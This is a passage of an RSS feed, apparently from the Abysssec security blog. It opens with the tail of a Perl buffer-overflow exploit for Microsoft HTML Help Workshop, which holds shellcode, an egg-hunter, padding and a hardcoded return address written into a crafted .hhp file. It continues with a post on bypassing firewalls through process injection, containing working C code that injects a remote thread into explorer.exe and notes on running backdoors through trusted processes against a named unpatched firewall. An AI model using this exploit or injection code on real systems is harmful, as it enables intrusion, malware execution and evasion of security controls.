    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>e0&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>d4&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>e7&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">280</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">55</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #0000ff;">$len</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">55</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$ret</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#0x00401f93   CALL EDI [hhw.exe]</span>
&nbsp;
    <span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt; s.hhp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">print</span> <span style="color: #0000ff;">$hhpprj_file</span> <span style="color: #0000ff;">$hhp_data1</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$ret</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$hhp_data2</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout4</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">close</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/microsoft-html-workshop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How Bypass firewall with Process Injection</title>
		<link>http://www.abysssec.com/blog/2009/01/how-bypass-firewall-with-process-injection/</link>
		<comments>http://www.abysssec.com/blog/2009/01/how-bypass-firewall-with-process-injection/#comments</comments>
		<pubDate>Fri, 02 Jan 2009 20:52:52 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[Fuzzing / Auditing]]></category>
		<category><![CDATA[Pen-test Method]]></category>
		<category><![CDATA[advisory]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=236</guid>
		<description><![CDATA[Hello Friends . First question is why Process  Injection ? in this method we can attach evil Process to permitted Process . as you know , firewalls Permit to some Process , like : Internet explorer [IE] or Firefox or windows update or &#8230;  .  this Processes can connect to Internet very well [ often  [...]]]></description>
			<content:encoded><![CDATA[<p>Hello Friends .</p>
<p>First question is why Process  Injection ?</p>
<p>in this method we can attach evil Process to permitted Process . as you know , firewalls Permit to some Process , like : Internet explorer [IE] or Firefox or windows update or &#8230;  .  this Processes can connect to Internet very well [ often  ] .</p>
<p><strong>Process injection</strong> , <strong>Dll injection</strong> , <strong>&#8220;PE injection &#8220;</strong> are methods to bypass firewalls [This Methods called as  : Leak Firewall ] .</p>
<p>in dll injection , we injects dll  into an application process area, and references to his own 					malicious DLL to make firewall believes that it&#8217;s the application which is using the DLL .</p>
<p>Today when we talk about injection, we are talking about a DLL that is loaded into a running process’s memory.  as we know Windows  is now designed for this, and injection techniques can be used by any application.  Some applications use it to add features to a closed-source program [for example : Babylon Dictionary is One of them ] .</p>
<p>I,m not intend to talk about these [dll ,process Injection ] at this time . and i just want  talk about Process injection [ or hijack] to bypass firewalls .</p>
<p>Attention To modeling :</p>
<p><strong>Principle of application run [default ] :</strong></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/principle-of-application-run.png"><img class="alignnone size-full wp-image-240" title="principle-of-application-run" src="http://abysssec.com/blog/wp-content/uploads/2008/12/principle-of-application-run.png" alt="principle-of-application-run" width="350" height="247" /></a></p>
<p><strong>when inclusion of a dynamic library [dll]   :</strong></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/method-for-inclusion-of-a-dynamic-library.png"><img class="alignnone size-full wp-image-241" title="method-for-inclusion-of-a-dynamic-library" src="http://abysssec.com/blog/wp-content/uploads/2008/12/method-for-inclusion-of-a-dynamic-library.png" alt="method-for-inclusion-of-a-dynamic-library" width="302" height="138" /></a></p>
<p><strong><span onmouseover="_tipon(this)" onmouseout="_tipoff()"> <span class="small">inserting malicious code in</span></span> <span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small">the process of confidence :</span></span></strong></p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small"><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/code-inject.png"><img class="alignnone size-medium wp-image-243" title="code-inject" src="http://abysssec.com/blog/wp-content/uploads/2008/12/code-inject-300x136.png" alt="code-inject" width="300" height="136" /></a></span></span></p>
<p><strong><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small">Used internet Explorer [trusted Software ] for injection :</span></span></strong></p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small"><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/used-from-browser-to-inject.png"><img class="alignnone size-medium wp-image-244" title="used-from-browser-to-inject" src="http://abysssec.com/blog/wp-content/uploads/2008/12/used-from-browser-to-inject-300x136.png" alt="used-from-browser-to-inject" width="300" height="136" /></a><br />
</span></span></p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small"><br />
</span></span></p>
<p><span id="src39" class="srcSentence">The following illustration shows the general Code injection  with windows API method [virtualAllocEX(),..]<br />
</span></p>
<p><span class="srcSentence"><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/kernel-process-inject.jpg"><img class="alignnone size-medium wp-image-237" title="kernel-process-inject" src="http://abysssec.com/blog/wp-content/uploads/2008/12/kernel-process-inject-242x300.jpg" alt="kernel-process-inject" width="242" height="300" /></a><br />
</span></p>
<p>how to Inject Process : [with C cod ]</p>
<p>for firewall bypass we have 4 part :</p>
<p>- Open one process “P”<br />
- Allocate memory remotely in “P” space<br />
- Copy the code to remote process<br />
- Create a thread to execute the code remotely<br />
<strong>[will happen]</strong></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/process-inject-map1.jpg"><img class="alignnone size-full wp-image-239" title="process-inject-map1" src="http://abysssec.com/blog/wp-content/uploads/2008/12/process-inject-map1.jpg" alt="process-inject-map1" width="576" height="386" /></a></p>
<p><strong>Example Of Process Injection In EXPLORER.EXE [code ]:</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">&nbsp;
    <span style="color: #339933;">#pragma comment(lib,&quot;Shlwapi.lib&quot;)</span>
    <span style="color: #339933;">#pragma comment(lib,&quot;ADVAPI32.LIB&quot;)</span>
    <span style="color: #339933;">#include &lt;stdio.h&gt;</span>
    <span style="color: #339933;">#include &lt;windows.h&gt;</span>
    <span style="color: #339933;">#include &lt;Shlwapi.h&gt;</span>
    <span style="color: #339933;">#include &lt;tlhelp32.h&gt;</span>
    <span style="color: #339933;">#define INJECT_EXE  &quot;explorer.exe&quot;</span>
&nbsp;
    <span style="color: #993333;">typedef</span> <span style="color: #993333;">struct</span> _RPar
    <span style="color: #009900;">&#123;</span>
    DWORD dwDeleteFile<span style="color: #339933;">;</span>
    DWORD dwSleep<span style="color: #339933;">;</span>
    DWORD dwMessageBox<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> Filename<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> string1<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> string2<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> RPar<span style="color: #339933;">;</span>
    DWORD __stdcall ThreadProc<span style="color: #009900;">&#40;</span>RPar <span style="color: #339933;">*</span>Para<span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
    FARPROC PDeleteFile <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>FARPROC<span style="color: #009900;">&#41;</span>Para<span style="color: #339933;">-&gt;</span>dwDeleteFile<span style="color: #339933;">;</span>
    FARPROC PSleep <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>FARPROC<span style="color: #009900;">&#41;</span>Para<span style="color: #339933;">-&gt;</span>dwSleep<span style="color: #339933;">;</span>
    FARPROC PMessageBox <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>FARPROC<span style="color: #009900;">&#41;</span>Para<span style="color: #339933;">-&gt;</span>dwMessageBox<span style="color: #339933;">;</span>
&nbsp;
    PMessageBox<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span>Para<span style="color: #339933;">-&gt;</span>string1<span style="color: #339933;">,</span>Para<span style="color: #339933;">-&gt;</span>string2<span style="color: #339933;">,</span>MB_OK<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span>PDeleteFile<span style="color: #009900;">&#40;</span>Para<span style="color: #339933;">-&gt;</span>Filename<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>PSleep<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #993333;">int</span> _stdcall WinMain<span style="color: #009900;">&#40;</span>HINSTANCE hInst<span style="color: #339933;">,</span> HINSTANCE hPrevInst<span style="color: #339933;">,</span> LPSTR lpCmd<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> nCmdShow<span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
    DWORD dwThreadId<span style="color: #339933;">,</span>pID<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>dwThreadSize<span style="color: #339933;">=</span><span style="color: #0000dd;">2048</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">void</span> <span style="color: #339933;">*</span>pRemoteThread<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> ExeFile<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    HANDLE hProcess<span style="color: #339933;">,</span>hSnap<span style="color: #339933;">;</span>
    HINSTANCE hKernel<span style="color: #339933;">,</span> hUser<span style="color: #339933;">;</span>
    RPar my_RPar<span style="color: #339933;">,*</span>pmy_RPar<span style="color: #339933;">;</span>
    PROCESSENTRY32 pe32 <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>hSnap <span style="color: #339933;">=</span>CreateToolhelp32Snapshot<span style="color: #009900;">&#40;</span>TH32CS_SNAPPROCESS<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> INVALID_HANDLE_VALUE <span style="color: #009900;">&#41;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">;</span>
    pe32.<span style="color: #202020;">dwSize</span> <span style="color: #339933;">=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>PROCESSENTRY32<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    Process32First<span style="color: #009900;">&#40;</span>hSnap<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>pe32<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> StrCmpNI<span style="color: #009900;">&#40;</span>INJECT_EXE<span style="color: #339933;">,</span>pe32.<span style="color: #202020;">szExeFile</span><span style="color: #339933;">,</span>strlen<span style="color: #009900;">&#40;</span>INJECT_EXE<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
    pID<span style="color: #339933;">=</span>pe32.<span style="color: #202020;">th32ProcessID</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>Process32Next<span style="color: #009900;">&#40;</span>hSnap<span style="color: #339933;">,&amp;</span>pe32<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> hSnap <span style="color: #339933;">!=</span> INVALID_HANDLE_VALUE <span style="color: #009900;">&#41;</span>
    CloseHandle<span style="color: #009900;">&#40;</span>hSnap<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    hProcess <span style="color: #339933;">=</span> OpenProcess<span style="color: #009900;">&#40;</span>PROCESS_ALL_ACCESS<span style="color: #339933;">,</span>FALSE<span style="color: #339933;">,</span>pID<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    pRemoteThread <span style="color: #339933;">=</span> VirtualAllocEx<span style="color: #009900;">&#40;</span>hProcess<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> dwThreadSize<span style="color: #339933;">,</span> MEM_COMMIT <span style="color: #339933;">|</span> MEM_RESERVE<span style="color: #339933;">,</span>PAGE_EXECUTE_READWRITE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    WriteProcessMemory<span style="color: #009900;">&#40;</span>hProcess<span style="color: #339933;">,</span> pRemoteThread<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>ThreadProc<span style="color: #339933;">,</span> dwThreadSize<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    ZeroMemory<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>my_RPar<span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>RPar<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    hKernel <span style="color: #339933;">=</span> LoadLibrary<span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;kernel32.dll&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwDeleteFile</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hKernel<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;DeleteFileA&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwSleep</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hKernel<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Sleep&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    hUser <span style="color: #339933;">=</span> LoadLibrary<span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;user32.dll&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwMessageBox</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hUser<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;MessageBoxA&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    GetModuleFileName<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span>ExeFile<span style="color: #339933;">,</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span> <span style="color: #009900;">&#40;</span>ExeFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">Filename</span><span style="color: #339933;">,</span> ExeFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">string1</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;HI Abysssec&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">string2</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;OK&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    pmy_RPar <span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>RPar <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>VirtualAllocEx <span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>RPar<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>MEM_COMMIT<span style="color: #339933;">,</span>PAGE_READWRITE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    WriteProcessMemory<span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span>pmy_RPar<span style="color: #339933;">,&amp;</span>my_RPar<span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span> my_RPar<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CreateRemoteThread<span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span>DWORD <span style="color: #009900;">&#40;</span>__stdcall <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>pRemoteThread <span style="color: #339933;">,</span>pmy_RPar<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,&amp;</span>dwThreadId<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    FreeLibrary<span style="color: #009900;">&#40;</span>hKernel<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CloseHandle<span style="color: #009900;">&#40;</span>hProcess<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;tasklist&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<blockquote></blockquote>
<p><strong>what Happens When Firewall bypass ?</strong></p>
<p><em>in servers :</em></p>
<p>we can call "Internet explorer" or  other trusted Application with [ASP.NET Execute Permission ] and run backdoor in any port .</p>
<p>with this method , we can telnet to open port of server without any worry  .</p>
<p><em>In Client :</em></p>
<p>Backdoor , Trojans , bad software , connect to internet without Access .</p>
<p>Real Word [ Discovered By Abysssec ] test :</p>
<p><strong>Vulnerability Firewall [Outpost 2009 ] :</strong></p>
<p><a href="http://www.agnitum.com/products/outpost/">http://www.agnitum.com/products/outpost/</a></p>
<p>You can Inject Process In IE7 or Mozilla Firefox [default Trusted ] .</p>
<p>[Sorry For more information , This bug is not fixed  , You can test it with Process Injector tools  ].</p>
<p>www.tarasco.org</p>
<p>[pinjector.exe] :</p>
<p><img class="alignnone" title="pinjector" src="http://www.tarasco.org/security/pinjector/pinjector.jpg" alt="" width="590" height="412" /></p>
<p>Download Link + source :</p>
<p><a href="http://www.tarasco.org/security/pinjector/index.html">http://www.tarasco.org/security/pinjector/index.html</a></p>
<p>Final deduction:</p>
<p>1- We can Bypass some firewalls : Don't checked  Allocated Memory in Trusted Process .</p>
<p>2- Dll , Process , PE injection is useful way to run Process without new Prosess ID [PID]  .</p>
<p>In Future :</p>
<p>1- Usage Of these Method In other bypass Protections [hybrid or frees  Protection ]</p>
<p>2 - PE INJECTION , why , what , where !?</p>
<p>More Information :</p>
<p>http://www.tarasco.org/security/pinjector/Win32.Design.Flaws.pdf</p>
<p>http://www.firewallleaktester.com/docs/leaktest.pdf</p>
<p>http://www.bluenotch.com/files/Shewmaker-DLL-Injection.pdf</p>
<p><span class="srcSentence">--------------------------------------------------------------------------------------</span></p>
<p><span class="srcSentence">Happy new year  and holy days</span></p>
<p><span class="srcSentence">god speed you<br />
</span></p>
<p><span class="srcSentence">Daphne<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/how-bypass-firewall-with-process-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Amaya Web Browser</title>
		<link>http://www.abysssec.com/blog/2008/12/224/</link>
		<comments>http://www.abysssec.com/blog/2008/12/224/#comments</comments>
		<pubDate>Sat, 27 Dec 2008 01:04:25 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=224</guid>
